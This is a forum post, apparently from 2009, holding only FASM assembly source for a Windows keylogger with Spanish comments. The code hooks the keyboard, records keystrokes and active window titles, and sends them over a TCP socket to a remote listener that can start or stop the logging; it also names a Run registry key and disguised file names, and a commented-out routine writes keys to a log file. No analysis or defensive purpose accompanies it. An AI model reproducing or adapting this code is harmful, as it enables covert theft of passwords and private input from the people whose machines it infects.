Nytro Posted August 10, 2009 Report Posted August 10, 2009 include 'C:\fasm\include\win32ax.inc'.dataIP db '127.0.0.1',0nArch db '\Logdrive.dll',0nFile db '\Regdrive.exe',0WinPath dd ?Espacio db '\n',0saltolinea db 13,10,0hVentana dd ?Rev dd ?ThreadID dd ?hHook dd ?hSock dd ?hArch dd ?hKey dd ?MyPath dd ?ifSock dd 0fSize dd ?dLeidos dd ?Buffer dd ?regdisposition dd ?regSubKey db "SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0.codestart:;Creamos un nuevo hilo para el Hookinvoke CreateThread,0,4096,Hookear,0,0,[ThreadID];Damos tamaño a los registrosinvoke GlobalAlloc,GPTR,1024hpush eax eax eaxpop esi ebx edx;Conexioninvoke WSAStartup,200,eaxinvoke socket,AF_INET,SOCK_STREAM,0push eaxpop [hSock] ;Esi Contiene el Handle de socketmov word[ebx],2invoke htons,2000mov word[ebx],2mov word[ebx+2], AXinvoke gethostbyname,IPadd eax,32invoke inet_addr,eaxmov dword[ebx+4],eax.BucleConectar: invoke connect,[hSock],ebx,16 cmp eax, 0xFFFFFFFF JE .BucleConectar .BucleRecivir: invoke GlobalAlloc,GPTR,1024hpush eax invoke recv,[hSock],eax,1023h,0 mov [Rev],eax pop eax cmp [Rev],0 jng revisar .if dword[eax] = '$Go' mov [ifSock],1 .endif .if dword[eax] = '$Sp' mov [ifSock],0 .endifrevisar: cmp [Rev], 0 jne start.BucleRecivir .reiniciar: stdcall dword[closesocket],[hSock] stdcall dword[WSACleanup] jmp start.end start;Lanzamos el Hook desde un nuevo hiloproc Hookearxor ebx,ebxinvoke GetModuleHandleA,ebxinvoke SetWindowsHookExA,13,KeyboardHook,eax,ebxmov [hHook],eaxinvoke GetMessageA,ebx,ebx,ebx,ebxinvoke UnhookWindowsHookEx,[hHook]endp;Proc del Hook donde se detectará la tecla pulsadaproc KeyboardHook,nCode,wParam,lParammov eax,[wParam]cmp eax,WM_KEYDOWNjne siguienteHookmov eax,[lParam]cmp byte[eax],VK_CAPITALje siguienteHookcmp byte[eax],VK_LSHIFTje siguienteHookcmp byte[eax],VK_RSHIFTje siguienteHook.if byte[eax]=VK_RETURNstdcall EnviarDatos,Espaciojmp siguienteHook.endif.if byte[eax]=VK_BACKstdcall ProcesarTecla,"{BACK}"jmp siguienteHook.endif.if byte[eax]=VK_ESCAPEstdcall ProcesarTecla,"{ESC}"jmp siguienteHook.endif.if byte[eax]=VK_TABstdcall ProcesarTecla,"{TAB}"jmp siguienteHook.endif.if byte[eax]=VK_LCONTROLstdcall ProcesarTecla,"{CTRL}"jmp siguienteHook.endif.if byte[eax]=VK_RCONTROLstdcall ProcesarTecla,"{CTRL}"jmp siguienteHook.endif.if byte[eax]=VK_RMENUstdcall ProcesarTecla,"{ALT}"jmp siguienteHook.endif.if byte[eax]=VK_LMENUstdcall ProcesarTecla,"{ALT}"jmp siguienteHook.endif.if byte[eax]=VK_SPACEstdcall ProcesarTecla," "jmp siguienteHook.endif.if byte[eax]=VK_DELETEstdcall ProcesarTecla,"{DEL}"jmp siguienteHook.endif.if byte[eax]=VK_RWINstdcall ProcesarTecla,"{WIN}"jmp siguienteHook.endif.if byte[eax]=VK_LWINstdcall ProcesarTecla,"{WIN}"jmp siguienteHook.endif.if byte[eax]=VK_F1stdcall ProcesarTecla,"{F1}"jmp siguienteHook.endif.if byte[eax]=VK_F2stdcall ProcesarTecla,"{F2}"jmp siguienteHook.endif.if byte[eax]=VK_F3stdcall ProcesarTecla,"{F3}"jmp siguienteHook.endif.if byte[eax]=VK_F4stdcall ProcesarTecla,"{F4}"jmp siguienteHook.endif.if byte[eax]=VK_F5stdcall ProcesarTecla,"{F5}"jmp siguienteHook.endif.if byte[eax]=VK_F6stdcall ProcesarTecla,"{F6}"jmp siguienteHook.endif.if byte[eax]=VK_F7stdcall ProcesarTecla,"{F7}"jmp siguienteHook.endif.if byte[eax]=VK_F8stdcall ProcesarTecla,"{F8}"jmp siguienteHook.endif.if byte[eax]=VK_F9stdcall ProcesarTecla,"{F9}"jmp siguienteHook.endif.if byte[eax]=VK_F10stdcall ProcesarTecla,"{F10}"jmp siguienteHook.endif.if byte[eax]=VK_F11stdcall ProcesarTecla,"{F11}"jmp siguienteHook.endif.if byte[eax]=VK_F12stdcall ProcesarTecla,"{F12}"jmp siguienteHook.endif.if byte[eax]=0xBAstdcall isShiftcmp ecx,1je NoBAstdcall ProcesarTecla,"^"jmp siguienteHookNoBA:stdcall ProcesarTecla,"`"jmp siguienteHook.endif.if byte[eax]=0xBBstdcall isShiftcmp ecx,1je NoBBstdcall ProcesarTecla,"*"jmp siguienteHookNoBB:stdcall ProcesarTecla,"+"jmp siguienteHook.endif.if byte[eax]=0xBCstdcall isShiftcmp ecx,1je NoBCstdcall ProcesarTecla,";"jmp siguienteHookNoBC:stdcall ProcesarTecla,","jmp siguienteHook.endif.if byte[eax]=0xBDstdcall isShiftcmp ecx,1je NoBDstdcall ProcesarTecla,"_"jmp siguienteHookNoBD:stdcall ProcesarTecla,"-"jmp siguienteHook.endif.if byte[eax]=0xBEstdcall isShiftcmp ecx,1je NoBEstdcall ProcesarTecla,":"jmp siguienteHookNoBE:stdcall ProcesarTecla,"."jmp siguienteHook.endif.if byte[eax]=0xBFstdcall isShiftcmp ecx,1je NoBFstdcall ProcesarTecla,"Ç"jmp siguienteHookNoBF:stdcall ProcesarTecla,"ç"jmp siguienteHook.endif.if byte[eax]=0xC0stdcall isShiftcmp ecx,1je NoC0stdcall ProcesarTecla,"Ñ"jmp siguienteHookNoC0:stdcall ProcesarTecla,"ñ"jmp siguienteHook.endif.if byte[eax]=0xDBstdcall isShiftcmp ecx,1je NoDBstdcall ProcesarTecla,"?"jmp siguienteHookNoDB:stdcall ProcesarTecla,"'"jmp siguienteHook.endif.if byte[eax]=0xDCstdcall isShiftcmp ecx,1je NoDCstdcall ProcesarTecla,"ª"jmp siguienteHookNoDC:stdcall ProcesarTecla,"º"jmp siguienteHook.endif.if byte[eax]=0xDDstdcall isShiftcmp ecx,1je NoDDstdcall ProcesarTecla,"¿"jmp siguienteHookNoDD:stdcall ProcesarTecla,"¡"jmp siguienteHook.endif.if byte[eax]=0xDEstdcall isShiftcmp ecx,1je NoDEstdcall ProcesarTecla,"¨"jmp siguienteHookNoDE:stdcall ProcesarTecla,"´"jmp siguienteHook.endif.if byte[eax]=0x30stdcall isShiftcmp ecx,1je No0stdcall ProcesarTecla,"="jmp siguienteHookNo0:stdcall ProcesarTecla,"0"jmp siguienteHook.endif.if byte[eax]=0x31stdcall isShiftcmp ecx,1je No1stdcall ProcesarTecla,"!"jmp siguienteHookNo1:stdcall ProcesarTecla,"1"jmp siguienteHook.endif.if byte[eax]=0x32stdcall isShiftcmp ecx,1je No2stdcall ProcesarTecla,'"'jmp siguienteHookNo2:stdcall ProcesarTecla,"2"jmp siguienteHook.endif.if byte[eax]=0x33stdcall isShiftcmp ecx,1je No3stdcall ProcesarTecla,"·"jmp siguienteHookNo3:stdcall ProcesarTecla,"3"jmp siguienteHook.endif.if byte[eax]=0x34stdcall isShiftcmp ecx,1je No4stdcall ProcesarTecla,"$"jmp siguienteHookNo4:stdcall ProcesarTecla,"4"jmp siguienteHook.endif.if byte[eax]=0x35stdcall isShiftcmp ecx,1je No5stdcall ProcesarTecla,"%"jmp siguienteHookNo5:stdcall ProcesarTecla,"5"jmp siguienteHook.endif.if byte[eax]=0x36stdcall isShiftcmp ecx,1je No6stdcall ProcesarTecla,"&"jmp siguienteHookNo6:stdcall ProcesarTecla,"6"jmp siguienteHook.endif.if byte[eax]=0x37stdcall isShiftcmp ecx,1je No7stdcall ProcesarTecla,"/"jmp siguienteHookNo7:stdcall ProcesarTecla,"7"jmp siguienteHook.endif.if byte[eax]=0x38stdcall isShiftcmp ecx,1je No8stdcall ProcesarTecla,"("jmp siguienteHookNo8:stdcall ProcesarTecla,"8"jmp siguienteHook.endif.if byte[eax]=0x39stdcall isShiftcmp ecx,1je No9stdcall ProcesarTecla,")"jmp siguienteHookNo9:stdcall ProcesarTecla,"9"jmp siguienteHook.endif.if byte[eax]=VK_NUMPAD0stdcall ProcesarTecla,"0"jmp siguienteHook.endif.if byte[eax]=VK_NUMPAD1stdcall ProcesarTecla,"1"jmp siguienteHook.endif.if byte[eax]=VK_NUMPAD2stdcall ProcesarTecla,"2"jmp siguienteHook.endif.if byte[eax]=VK_NUMPAD3stdcall ProcesarTecla,"3"jmp siguienteHook.endif.if byte[eax]=VK_NUMPAD4stdcall ProcesarTecla,"4"jmp siguienteHook.endif.if byte[eax]=VK_NUMPAD5stdcall ProcesarTecla,"5"jmp siguienteHook.endif.if byte[eax]=VK_NUMPAD6stdcall ProcesarTecla,"6"jmp siguienteHook.endif.if byte[eax]=VK_NUMPAD7stdcall ProcesarTecla,"7"jmp siguienteHook.endif.if byte[eax]=VK_NUMPAD8stdcall ProcesarTecla,"8"jmp siguienteHook.endifcmp byte[eax],65 ;VK_Ajl siguienteHookcmp byte[eax],90 ;VK_Zjg siguienteHook;Letras A-Zstdcall isShiftcmp ecx,1jne listomov eax,[lParam]add byte[eax],32listo:stdcall ProcesarTecla,eaxsiguienteHook:invoke CallNextHookEx,[hHook],[nCode],[wParam],[lParam]retendpproc ProcesarTecla,tecla ; Procesa la tecla capturada;cmp [ifSock],1;je sEnviar;sGuardar:;invoke GetWindowsDirectory,WinPath,1024;invoke lstrcat,WinPath,nArch;invoke CreateFile,WinPath,GENERIC_READ,0,0,OPEN_ALWAYS,0,0;mov [hArch],eax;invoke GetFileSize, [hArch],NULL;mov [fSize],eax;invoke LocalAlloc, LPTR,[fSize];mov [Buffer],eax;invoke ReadFile,[hArch],[Buffer],[fSize],dLeidos,NULL;invoke CloseHandle,[hArch];invoke lstrcat,[Buffer],[tecla];invoke CreateFile,WinPath,GENERIC_WRITE,0,0,CREATE_ALWAYS,0,0;invoke lstrlen,[Buffer];invoke WriteFile,[hArch],[Buffer],eax,dLeidos,NULL;invoke CloseHandle,[hArch];retsEnviar:invoke GetForegroundWindowcmp eax,[hVentana]je enviarteclamov [hVentana],eaxinvoke GlobalAlloc,GPTR,256push eaxinvoke GetWindowText,[hVentana],eax,256pop eaxmov ebx,eaxstdcall EnviarDatos,Espaciostdcall EnviarDatos,Espaciostdcall EnviarDatos,ebxstdcall EnviarDatos,Espacioenviartecla:stdcall EnviarDatos,[tecla]retendpproc EnviarDatos,datosinvoke lstrlen,[datos]invoke send,[hSock],[datos],eax,0retendp;Función para obtener el estado de las mayúsculasproc isShiftinvoke GetKeyState,VK_CAPITALcmp eax,1jl pulsadajmp nopulsadapulsada:invoke GetKeyState,VK_SHIFTcmp eax,1jg noShiftjmp siShiftnopulsada:invoke GetKeyState,VK_SHIFTcmp eax,1jg siShiftjmp noShiftsiShift: ; Retornamos 0 si está mayúscula, 1 si nomov ecx,1retnoShift:mov ecx,0retendp Quote